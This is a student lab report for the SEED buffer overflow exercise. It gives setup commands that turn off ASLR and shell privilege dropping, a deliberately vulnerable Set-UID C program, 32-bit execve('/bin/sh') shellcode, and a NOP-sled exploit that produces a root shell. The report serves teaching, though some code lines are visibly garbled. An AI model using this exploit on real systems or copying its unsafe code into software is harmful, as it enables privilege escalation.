Software security attack and defense--buffer overflow and shellcode

Buffer Overflow Vulnerability Lab Report

There is a seed buffer overflow vulnerability experiment in the laboratory building. The content of the experiment is basically the same as the experiment required in the textbook. It is convenient to use the ready-made experimental environment provided by the laboratory building to complete this practice content.

1. Introduction to the experiment

A buffer overflow is when a program attempts to write more data to the buffer than the pre-allocated fixed length. This vulnerability can be exploited by malicious users to change the flow control of a program or even execute arbitrary pieces of code. The vulnerability arises due to the temporary closure of the data buffer and return address, and overflow causes the return address to be rewritten.

2. Experiment preparation

  • System username shiyanlou
  • The laboratory building provides 64-bit Ubuntu linux, and in order to facilitate the observation of assembly statements in this experiment, we need to operate in a 32-bit environment, so some preparations need to be done before the experiment.
1. Enter the command to install something for compiling 32-bit C programs:
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
2. Enter the command "linux32" to enter the 32-bit linux environment. At this point, you will find that the command line is not so fun to use, for example, you cannot complete tab completion, so enter "/bin/bash" to use bash:

3. Experimental steps

3.1 Initial Setup

In Ubuntu and some other Linux systems, address space randomization is used to randomize the initial address of the heap and stack, which makes guessing the exact memory address very difficult, and guessing the memory address is a buffer overflow attack The essential. Therefore, in this experiment, we use the following command to turn off this function:

sudo sysctl -w kernel.randomize_va_space=0

Additionally, to further protect against buffer overflow attacks and other attacks that exploit shell programs, many shell programs automatically relinquish their privileges when invoked. So even if you can trick a Set-UID program into calling a shell, you can't maintain root privileges in that shell. This safeguard is implemented in /bin/bash.

In Linux systems, /bin/sh is actually a symbolic link to /bin/bash or /bin/dash. To reproduce the situation before this protection was implemented, we replaced /bin/bash with another shell program (zsh). The following instructions describe how to set up the zsh program:

sudo su
cd /bin
rm sh
ln -s zsh sh
Exit



3.2 shellcode

Typically, a buffer overflow causes a program to crash, in which the overflowed data overwrites the return address. And if the data overriding the return address is another address, the program jumps to that address, and if that address stores a piece of carefully designed code to implement other functions, this code is shellcode.

Observe the following code:

include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

The shellcode of this experiment is the assembled version of the code just now:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3.3 Vulnerable programs

Save the following code as "stack.c" file and save it to /tmp directory. code show as below:

/ stack.c /
/ This program has a buffer overflow vulnerability. /
/ Our task is to exploit this vulnerability /
include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(char *str)
{
char buffer[12];
/ The following statement has a buffer overflow problem /
strcpy(buffer, str);
return 1;
}
int main(int argc, char *argv)
{
char str[517];
FILE badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

As you can see from the code, the program will read a file named "badfile" and load the contents of the file into "buffer".

Compile the program, and set SET-UID. The command is as follows:

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

The GCC compiler has a stack protection mechanism to prevent buffer overflow, so we need to disable this mechanism with --fno-stack-protector when compiling the code.

And -z execstack is used to allow the execution stack.

3.4 Attack program

Our purpose is to attack the vulnerable program just now and gain root privileges through the attack.

Save the following code as "exploit.c" file and save it to /tmp directory. code show as below:

/ exploit.c /
/ A program that creates a file containing code for launching shell/
include <stdlib.h>
include <stdio.h>
include <string.h>
char shellcode[]=
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char *argv)
{
char buffer[517];
FILE badfile;
/ Initialize buffer with 0x90 (NOP instruction) /
memset(&buffer, 0x90, 517);
/ You need to fill the buffer with appropriate contents here /
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/ Save the contents to the file "badfile" /
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

Note that in the above code, "\x??\x??\x??\x??" needs to add the address of the shellcode stored in memory, because this position can just overwrite the return address after the overflow occurs.

And strcpy(buffer+100, shellcode); This sentence tells us that the shellcode is stored in the buffer+100 position.

Now we want to get the address of the shellcode in memory, enter the command:

gdb stack
disass main

The result is as follows:

Next steps:

According to the statement strcpy(buffer+100, shellcode); we calculate the address of the shellcode as 0xffffd1b0(hexadecimal)+100(decimal)=0xffffd214(hexadecimal)

Now modify the exploit.c file! Change \x??\x??\x??\x?? to \x14\xd2\xff\xff
Then, compile the exploit.c program:

gcc -m32 -o exploit exploit.c
3.5 Attack Results

First run the attack program exploit, then run the vulnerability program stack, and observe the results:

It can be seen that through the attack, root privileges have been obtained!
If the attack cannot be successful, it prompts "segmentation fault", then please re-use gdb to disassemble and calculate the memory address.

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=325345472&siteId=291194637